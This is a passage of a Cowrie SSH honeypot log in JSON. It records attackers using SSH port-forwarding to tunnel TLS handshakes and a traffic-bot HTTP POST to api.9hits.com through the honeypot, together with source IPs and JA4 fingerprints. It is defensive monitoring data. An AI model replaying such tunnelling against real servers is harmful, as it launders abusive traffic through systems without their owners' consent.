!\\xcf\\x1d\\xdf\\xbdj_\\xc4m\\rrX\\xe7\\x98\\x9e\\xce\\xf7\\xbf}\\xdaX\\t\\x1f\\xa9GM\\x9c\\x81[\\x89e\\xac\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbd\\xaf\\xa2\\xf13\\xe4Z\\x80{T\\xa4o\\xa5\\xaa\\x97W\\x0bTN\\x9f\\xaep\\x06rG\\xee\\xa2\\xc0\\xbe\\xd8s)\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\\\}AE\\'\\xcd\\xdeR\\xbb\\xa9]\\xf4\\x13\\x9bZ\\xbd\\xd7\\xc5\\x8b\\xefN]\\x8a\\x9e\\xf3f\\xf8khL\\x1d\\x85 !\\xcf\\x1d\\xdf\\xbdj_\\xc4m\\rrX\\xe7\\x98\\x9e\\xce\\xf7\\xbf}\\xdaX\\t\\x1f\\xa9GM\\x9c\\x81[\\x89e\\xac\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbd\\xaf\\xa2\\xf13\\xe4Z\\x80{T\\xa4o\\xa5\\xaa\\x97W\\x0bTN\\x9f\\xaep\\x06rG\\xee\\xa2\\xc0\\xbe\\xd8s)\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:37.921509Z","src_ip":"113.164.152.20","session":"0b38fb756020","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:38.342331Z","src_ip":"113.164.152.20","session":"0b38fb756020","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:40.012923Z","session":"3aff9eb5bbea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:40.066530Z","src_ip":"63.141.242.2","session":"3aff9eb5bbea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03r+\\xfdP\\xbe\\x06+$C\\r\\x0f\\x9d*\\\\l\\xd6\\xf4\\xf2g\\x03\\x96\\x9bB\\x81\\xbc\\x0e\\xfdB\\x8b\\x1a\\x8f\\xc0 U\\xe8t!-0\\t\\xc1\\x94\\xd0\\x99\\xfe\\x1d.\\xef\\xb9\\x86\\xdd\\x1c*&K\\xd6\\x8d\\xd2,0\\xdf\\xa6\\x82mC\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 h\\xcdeip\\xe1\\xe8K\\x1a\\xeb\\xaa\\xd1ekn\\xcc\\xc6Y\\xdd\\xa0\\xf9Mf\\xb4-\\x9f\\x91\\x04\\x91\\xff\\x9aO\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03r+\\xfdP\\xbe\\x06+$C\\r\\x0f\\x9d*\\\\l\\xd6\\xf4\\xf2g\\x03\\x96\\x9bB\\x81\\xbc\\x0e\\xfdB\\x8b\\x1a\\x8f\\xc0 U\\xe8t!-0\\t\\xc1\\x94\\xd0\\x99\\xfe\\x1d.\\xef\\xb9\\x86\\xdd\\x1c*&K\\xd6\\x8d\\xd2,0\\xdf\\xa6\\x82mC\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 h\\xcdeip\\xe1\\xe8K\\x1a\\xeb\\xaa\\xd1ekn\\xcc\\xc6Y\\xdd\\xa0\\xf9Mf\\xb4-\\x9f\\x91\\x04\\x91\\xff\\x9aO\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:40.069913Z","src_ip":"63.141.242.2","session":"3aff9eb5bbea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.90.100.147","src_port":43458,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffd92778c2e7","protocol":"ssh","message":"New connection: 41.90.100.147:43458 (159.203.135.109:22) [session: ffd92778c2e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:40.313325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:40.319087Z","src_ip":"41.90.100.147","session":"ffd92778c2e7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:40.330177Z","session":"3aff9eb5bbea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:40.365445Z","src_ip":"63.141.242.2","session":"3aff9eb5bbea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x034>\\x1c\\xd9\\xac\\x1a\\xe4\\x1e\\xcdZ\\xa0e\\xe2\\xa13\\\\^\\x1f-\\xbd\\xb0\\x85\\x14\\x17\\xba\\xa4\\x1b\\n\\xed\\xa2\\x1f  :\\xdd\\x0e\\xbc\\x94D\\xf9{\\xb0\\xc8\\x1f\\xd4\\xdf\\xf3\\x02{C2W\\xb4K=-\\xc7\\x1d\\xe7\\xde\\xae\\xa9\\x86 \\x9c\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd0\\xbc\\x0f\\x0e+\\x83\\xb6>\\xf5\\xa5\\xac\\'\\xeb\\x02\\rY\\xb5m*\\xdf\\xa5\\xb7\\xcdM\\xde#)*1\\x92\\xaac\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x034>\\x1c\\xd9\\xac\\x1a\\xe4\\x1e\\xcdZ\\xa0e\\xe2\\xa13\\\\^\\x1f-\\xbd\\xb0\\x85\\x14\\x17\\xba\\xa4\\x1b\\n\\xed\\xa2\\x1f  :\\xdd\\x0e\\xbc\\x94D\\xf9{\\xb0\\xc8\\x1f\\xd4\\xdf\\xf3\\x02{C2W\\xb4K=-\\xc7\\x1d\\xe7\\xde\\xae\\xa9\\x86 \\x9c\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd0\\xbc\\x0f\\x0e+\\x83\\xb6>\\xf5\\xa5\\xac\\'\\xeb\\x02\\rY\\xb5m*\\xdf\\xa5\\xb7\\xcdM\\xde#)*1\\x92\\xaac\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:40.368473Z","src_ip":"63.141.242.2","session":"3aff9eb5bbea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:40.385857Z","session":"3aff9eb5bbea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:30:40.451857Z","src_ip":"63.141.242.2","session":"3aff9eb5bbea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1170\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; K010) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=I0RYSmUofnFHUUxBNURVbQ%3D%3DUILn9Eg7DUg%2FF0BuW6jO8LqwbCVXRIfoYPTEShHVMfITwFlZZEEtf8PNRhCJ1cRrfhKei0%2FabuNf0PehbsQRxU%2F6c5fOkxNh3IqPhSqeZftQ3DbY1ihrHvyfH3y1NmouMsxBpUc9gpP470gwHNsiqM2Y8%2F%2Fu7grMSSB3zK1Kqn5bIa6rBLiYGxBRHpDoTdqE6KWXLUsKSyAfPDbs2ZF%2BHj9l2hA3PlBc6BDhezw4K6JbkhLNKwMjev%2B1k61MwqRnWDBqmUzURMsuSRMn5DMZ6pGnV4Bb6iGg6uC4H%2F0H1vyoeIG4%2BMWmecg%2Fiy4%2FEvZm5XyrqiK8acIfXgLHP7MCROIw5YrJTNf9TUkY4C0FwDfjnjOG3cjneOg7Z1%2B2veTb5UhIZqSUogTGJukzW3xymbZhzP7UufRZAzn6CsQhrUSIRzczDBsCexPcsm7XKLlI4yK4QG2kQRRACr81GzVVH7x451NnjMPAMN58kZNPREOR9Hq7rnsGRUqtBlAu6VLPe3%2FNcw8nQuDR4zQHMSnBBTnplXbAw6kYD1GtlRJCKmtLYmdku72o04L4Qq9OPFmShLuQQsNmKy4YumXj43cWIc5K7m5svCU1fykfFLeJpUslqzxVd3KjR%2BgseTi5DDd8s62T3CXg8pRoDMLeVWvAkssgRbFynqcsTUSIPVuW8uyOT%2BxbSLHMcw%2Bnz1VLxLlxvp2yS0cf86ayzNhvjvC19DD3eWBskQivECpJDk4wKt58WpO0gXTo3iT1Y01%2FvmoOiBApeCiuTV7au8rBYceob1RYqjecyn56%2FBGdDxDqf3d3MY4ZIGLbl4q2UU4z%2FSCoiIb4SUeaZNiOZ5V0%2FG3nQAREaUKuHaMLVgj518Xs3E6cxAR7yTzGD52j6BTMsMN1sfqaaFfWcz2V2f3%2BfJPEllM88koQ1mdK1tFUJ1THgxHC0dl5gvEbqzVyCMYzU7oJki8L52aj3HrrNQoV6PAFThgCmKFbqEqivpkp7R3pSt%2Focb4IYx4fWmRxKNTUmasR6N%2BbdnN2u198m6oVNT